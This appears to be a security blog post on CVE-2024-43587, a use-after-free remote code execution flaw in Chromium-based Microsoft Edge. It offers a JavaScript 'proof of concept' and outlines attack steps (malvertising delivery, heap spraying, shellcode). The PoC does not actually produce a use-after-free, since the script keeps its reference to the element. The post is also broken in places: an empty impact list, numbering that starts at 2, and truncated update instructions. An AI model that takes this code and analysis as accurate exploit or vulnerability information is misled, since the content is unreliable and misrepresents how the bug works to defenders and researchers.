CVE-2024-43587 made shockwaves when it emerged, exposing a critical Remote Code Execution (RCE) hole inside Microsoft Edge (Chromium-based). This vulnerability, if left unpatched, allows hackers to run malicious code just by luring victims to a crafted website or making them interact with malicious content.

This post is aimed at security folks, IT admins, and curious users who want to understand how this exploit works, its impact, and see some real proof-of-concept (PoC) code. We’ll use plain American English and avoid any copy-paste content from public advisories.

Vulnerability Name: Microsoft Edge (Chromium-based) Remote Code Execution

- CVE: CVE-2024-43587

How CVE-2024-43587 Works

This vulnerability roots from a flaw in the way Microsoft Edge (Chromium-based) handles certain JavaScript objects in memory. By exploiting this weak spot, malicious actors can trigger a *use-after-free* (UAF) condition. This misuse causes Edge’s internal memory to act unpredictably, which can be harnessed to execute arbitrary code with the privileges of the current user.

Potential Impact

If you click on a malicious link, open a booby-trapped ad, or land on a compromised site, attackers could:

Real-World Exploit Example

Below is a simplified PoC to help demonstrate the issue. [Please note: this is sanitized for learning only; do not attempt on any real system.]

// Simplified PoC for CVE-2024-43587 (for demonstration, not weaponized)
// The issue revolves around a use-after-free when manipulating a vulnerable object in Edge

let victims = [];
function triggerUAF() {
    // Step 1: Create the vulnerable object
    let obj = document.createElement('audio');

    // Step 2: Attach an abnormal event handler that deletes the object
    obj.oncanplaythrough = function() {
        document.body.removeChild(obj);
        // At this point, obj's memory is freed, but JS still points to it
        victims.push(obj); // Keep a reference
    };

    // Step 3: Trigger the event to cause use-after-free
    document.body.appendChild(obj);
    obj.src = 'malformed_audio_file.mp3'; // Triggers canplaythrough
}

triggerUAF();

Note: A real-world attacker would combine this with heap spraying, JIT optimization tricks, and shellcode. For full technical exploitation, Project Zero’s blog regularly explains these concepts.

Delivery: Hosting a booby-trapped page or malvertising.

2. Trigger: Abusing the memory mismanagement bug to create a UAF, then manipulate memory to control the target’s computer.

Open Edge, go to Help & Feedback > About Microsoft Edge

- Let Edge auto-update, or download from Edge’s official site

Microsoft Security Advisory:

CVE-2024-43587 at MSRC

Vuln Details:

NVD Record for CVE-2024-43587

Technical:

- Project Zero Blog - Exploiting Edge’s JavaScript Bugs
- Chromium Security Documentation

Final Thoughts

CVE-2024-43587 is a great reminder of how even popular, updated browsers can have major flaws. If you are a user, keep your software up to date. If you’re a sysadmin or business leader, roll out patches immediately and remind users to stay aware.

For researchers, always verify the vulnerability using safe and isolated environments. Sharing PoCs responsibly helps the community without arming attackers.

Timeline

Published on: 10/17/2024 23:15:16 UTC
Last modified on: 10/18/2024 22:14:38 UTC